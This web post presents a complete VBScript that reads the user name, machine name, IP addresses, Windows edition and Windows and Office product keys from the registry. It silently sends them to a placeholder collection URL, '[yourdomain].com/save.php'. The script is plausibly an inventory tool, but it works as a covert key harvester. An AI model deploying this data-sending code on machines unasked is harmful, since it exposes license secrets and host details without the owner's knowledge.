A VBScript To Grab M$ Licenses and Products on a Machine

msLicenseKeys.vbs

'The below is partially based on GetProductKeys.VBS v1.0 by Foolish IT
    Const HKEY_LOCAL_MACHINE = &H80000002
	
	strQString = "user=" & getUserName() & "&winver=" & GetWinVer() & "&winkey=" & GetWinKey() & "&machine=" & getMachineName() & "&ip=" & getMachineIPs() _
		& "&office10=" & GetOfficeKey("10.0") & "&office11=" &  GetOfficeKey("11.0") & "&office12=" &  GetOfficeKey("12.0") _
		& "&office14=" &  GetOfficeKey("14.0") & "&office15=" &  GetOfficeKey("15.0")
	strQString = replace(strQString, " ", "%20")
	
	sendData(strQString)
	
	'done!
	
	Function sendData(strQueryString)
		Dim o
		Set o = CreateObject("MSXML2.XMLHTTP")
		o.open "GET", "http://[yourdomain].com/save.php?" & strQueryString, False
		o.send
		sendData = o.responseText
	End Function
	
	Function getUserName()
		Set objNetwork = CreateObject("Wscript.Network")
		getUserName = objNetwork.UserName
	End Function
	
	Function getMachineName()
		Set wshNetwork = WScript.CreateObject("WScript.Network")
		strComputerName = wshNetwork.ComputerName
		getMachineName = strComputerName
	End Function

	Function getMachineIPs()
		strIP = ""
		strComputer = "."

		Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\"&strComputer&"\root\cimv2")
		Set IPConfigSet = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration WHERE IPEnabled = 'True'")

		For Each IPConfig in IPConfigSet
			If Not IsNull(IPConfig.IPAddress) Then
				For i = 0 To UBound(IPConfig.IPAddress)
					If Not Instr(IPConfig.IPAddress(i), ":") > 0 Then 
						if i > 0 then strIP = strIP & ","
						strIP = strIP & IPConfig.IPAddress(i)
					end if
				Next
			End If
		Next

		getMachineIPs = strIP
	End Function
	
    Function GetOfficeKey(sVer)
		On Error Resume Next
		Dim arrSubKeys
		
		Set wshShell = WScript.CreateObject( "WScript.Shell" )
		sBit = wshShell.ExpandEnvironmentStrings("%ProgramFiles(x86)%")
		
		if sBit <> "%ProgramFiles(x86)%" then
			sBit = "Software\wow6432node"
		else
			sBit = "Software"
		end if
		
		Set objReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
		objReg.EnumKey HKEY_LOCAL_MACHINE, sBit & "\Microsoft\Office\" & sVer & "\Registration", arrSubKeys
		
		Set objReg = Nothing
		
		if IsNull(arrSubKeys) = False then
			For Each Subkey in arrSubKeys
				if lenb(other) < 1 then other = wshshell.RegRead("HKLM\" & sBit & "\Microsoft\Office\" & sVer & "\Registration\" & SubKey & "\ProductName")
				if ucase(right(SubKey, 7)) = "0FF1CE}" then
					Set wshshell = CreateObject("WScript.Shell")
				
					key = ConvertToKey(wshshell.RegRead("HKLM\" & sBit & "\Microsoft\Office\" & sVer & "\Registration\" & SubKey & "\DigitalProductID"))
					oem = ucase(mid(wshshell.RegRead("HKLM\" & sBit & "\Microsoft\Office\" & sVer & "\Registration\" & SubKey & "\ProductID"), 7, 3))
					edition = wshshell.RegRead("HKLM\" & sBit & "\Microsoft\Office\" & sVer & "\Registration\" & SubKey & "\ProductName")
				
					if err.number <> 0 then
						edition = other
						err.clear
					end if
				
					Set wshshell = Nothing
				
					if oem <> "OEM" then oem = "Retail"
					if lenb(final) > 1 then
						final = final & "," & final
					else
						final = edition & " " & oem & ":" & key
					end if
				end if
			Next
		GetOfficeKey = final & vbnewline
		End If
    End Function

    Function GetWinKey()
        Set wshshell = CreateObject("WScript.Shell")
        key = GetKey("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId")
        set wshshell = Nothing
        if oem <> "OEM" then oem = "Retail"
        GetWinKey = key
    End Function
	
    Function GetWinVer()
        Set wshshell = CreateObject("WScript.Shell")
        edition = wshshell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
        oem = ucase(mid(wshshell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID"), 7, 3))
        set wshshell = Nothing
        if oem <> "OEM" then oem = "Retail"
        GetWinVer = edition & " " & oem
    End Function

    Function GetKey(sReg)
        Set wshshell = CreateObject("WScript.Shell")
        GetKey = ConvertToKey(wshshell.RegRead(sReg))
        Set wshshell = Nothing
    End Function

    Function ConvertToKey(key)
        Const KeyOffset = 52
        i = 28
        Chars = "BCDFGHJKMPQRTVWXY2346789"
        Do
            Cur = 0
            x = 14
            Do
                Cur = Cur * 256
                Cur = key(x + KeyOffset) + Cur
                key(x + KeyOffset) = (Cur \ 24) And 255
                Cur = Cur Mod 24
                x = x - 1
            Loop While x >= 0
            i = i - 1
            KeyOutput = Mid(Chars, Cur + 1, 1) & KeyOutput
            If (((29 - i) Mod 6) = 0) And (i <> -1) Then
                i = i - 1
                KeyOutput = "-" & KeyOutput
            End If
        Loop While i >= 0
        ConvertToKey = KeyOutput
    End Function

	Function HTMLEncode(ByVal sVal)
		sReturn = ""
		If ((TypeName(sVal)="String") And (Not IsNull(sVal)) And (sVal<>"")) Then
		
			For i = 1 To Len(sVal)
			
				ch = Mid(sVal, i, 1)

				Set oRE = New RegExp : oRE.Pattern = "[ a-zA-Z0-9]"

				If (Not oRE.Test(ch)) Then
					ch = "&#" & Asc(ch) & ";"
				End If

				sReturn = sReturn & ch
				
				Set oRE = Nothing
			Next
		End If
		
		HTMLEncode = sReturn
	End Function